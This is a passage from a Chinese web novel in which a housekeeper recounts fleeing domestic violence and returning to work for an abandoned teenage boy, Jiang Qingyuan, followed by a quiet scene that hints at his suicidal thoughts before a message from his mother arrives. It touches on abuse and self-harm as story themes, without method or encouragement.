“也怪我,我当时要能忍忍,没有被开,最起码能给小圆上上药,”黄秀英将米饭蒸上 ,“实在是我闺女从小就被她爹打,我一看到小圆那样,就想到我闺女,没忍下去。”
她心里一阵难受:“也不知道我走了,小圆一个人是怎么熬过去的。”
宋柏垂着头,让人看不清他的脸色,只能听到有些哑的声音:“那您是怎么回来的?”
黄秀英手在围裙上擦了擦,声音又低了些:“我是跑回来的。”
“哎呀,”她抬手摸了把脸,只说了一句,“实在和孩子爹过不下去。”
宋柏就都懂了。
“但是我耳朵不好嘛,”黄秀英指了指自己的耳朵,“孩儿她爸打的。”
没比聋了好多少。
被江铸辞退后,黄秀英又回家过了两年,实在受不了丈夫酗酒和家暴,又跑回了涧州市。
但因为耳朵听不见话,找了一圈,也没有一家人愿意再用她。
黄秀英无法,她还要给女儿交大学学费,于是在个阴雨连绵的春天,她再次敲响了小别墅的门。
黄秀英现在还记得那天门开了,江清圆躲在里面往外看的样子。
13岁的男孩子了,个子比10岁的时候拔高了一截,但依旧瘦得可怜。脸上的本就没多少的婴儿肥已经完全褪去,但看到她亮起的眼睛,还是和十岁的时候一样。
“黄阿姨!”江清圆清清脆脆地叫了她一声,一双漂亮的眼睛就弯了起来。
他连忙侧过身子,黄秀英也高兴地应了一声,抬手揉了揉他的头发,看到江清圆还愿意站在那里让她亲近,才抬脚进了屋子。
进屋后,黄秀英忐忑地环视了一圈,见整个家空荡荡地,像没人住,回头问江清圆:“小圆,你爸爸妈妈呢?”
江清圆跟在她身边,抿着嘴笑,像根小青竹,根骨青涩又坚韧,说:“他们搬走啦。”
“我可以照顾好我自己的。”像是知道黄秀英的反应,在她担心之前,江清圆又说。
黄秀英看着他柔软的样子,心想,这样的孩子,做爹娘的,是怎么舍得扔下不管呢?
“都快12点了,吃午饭了没?”知道江铸和兰盛莲搬走了,黄秀英歇了再在这里干的心思,看江清圆自己一个人,习惯性地担心起了他午饭吃没吃。
江清圆点了点头,他视线一直没离开黄秀英脸上,此时突然往前走了两步,像小时候那样,握住了黄秀英的手,一双眼睛认真地看过来,“黄阿姨,是发生什么事情了吗?”
黄秀英压抑了两年多的委屈,一下子被这句话问崩溃了。
她忍不住,将这两年的情况给江清圆说了,说完才觉得给一个孩子说这些干什么,黄秀英又揉揉江清圆的头:“我就是来看看小圆过得好不好,你没事,阿姨就先走了。”
却没走成。
江清圆拉着她的手,给她留下一句等下我之后,就蹬蹬蹬地上楼了。
五分钟后,又风风火火地跑了下来,在她身前站定,眼睛亮亮地大声道:“黄阿姨,我钱够,我请你来工作!你愿意吗?”
“原来他上楼是数钱去了,”黄秀英笑道,“我一开始以为他数的是爸爸妈妈给留下来的生活费,想着他爸妈有钱,给他的多,就答应小圆留了下来。”
黄秀英笑容淡了淡:“后来才知道,从江老板和江夫人搬走后,小圆就不愿意用他们给的钱了。江老板和江夫人虽然也给小圆生活费,但都被他原封不动地放进了一张单独的卡里。”
“他给我发的工资,还有他自己生活上学的费用,都是他写剧本争来的。”
黄秀英叹了一口气,简直不知道怎么形容江清圆好,沉默良久才道:“你别看小圆性子软,他其实是很勇敢,很好的孩子。”
宋柏的声音也很低:“我很早就知道了。”
*
江清圆并不知道这些,他如常地和宋柏还有黄秀英吃完了一顿好吃的菌子后,和过去五天一样,在咕噜白噪音的陪伴下,边工作边度过了一个温和的下午。
他已经完整听完了溪流和风吹树叶的声音,咕噜现在放的,是一段新的,海风吹过贝壳风铃的声音。
江清圆没有去过海边,但傍晚的时候,他竟生出了点想打开窗帘的冲动。
江清圆从书桌前站起了,走到窗前,将窗帘扯开了一条缝。
傍晚柔和的光瞬时涌了进来,渐渐冷暗下去的房间多了一下片温暖。
江清圆没有再多拉,他站在窗户边,就着这片小小的光,重新打量起了自己的屋子。
没有了满屋子符纸的屋子。
尽管还有无数的胶残留再上面,但江清圆抬头看着,只觉得心中高兴。
高兴得他想将,窗帘后面,装着刀片的外卖纸再推远些。
可能是宋柏今天做的饭也很好吃,让他至少今天也想好好活着。
江清圆这么想着,也就这么做了,就在他指尖将要碰到外卖纸袋的时候,手机震动了一下。
手收了回去,江清圆拿起了手机。
是兰盛莲的消息。
【长念】吕道长被抓进去了是不是你做的?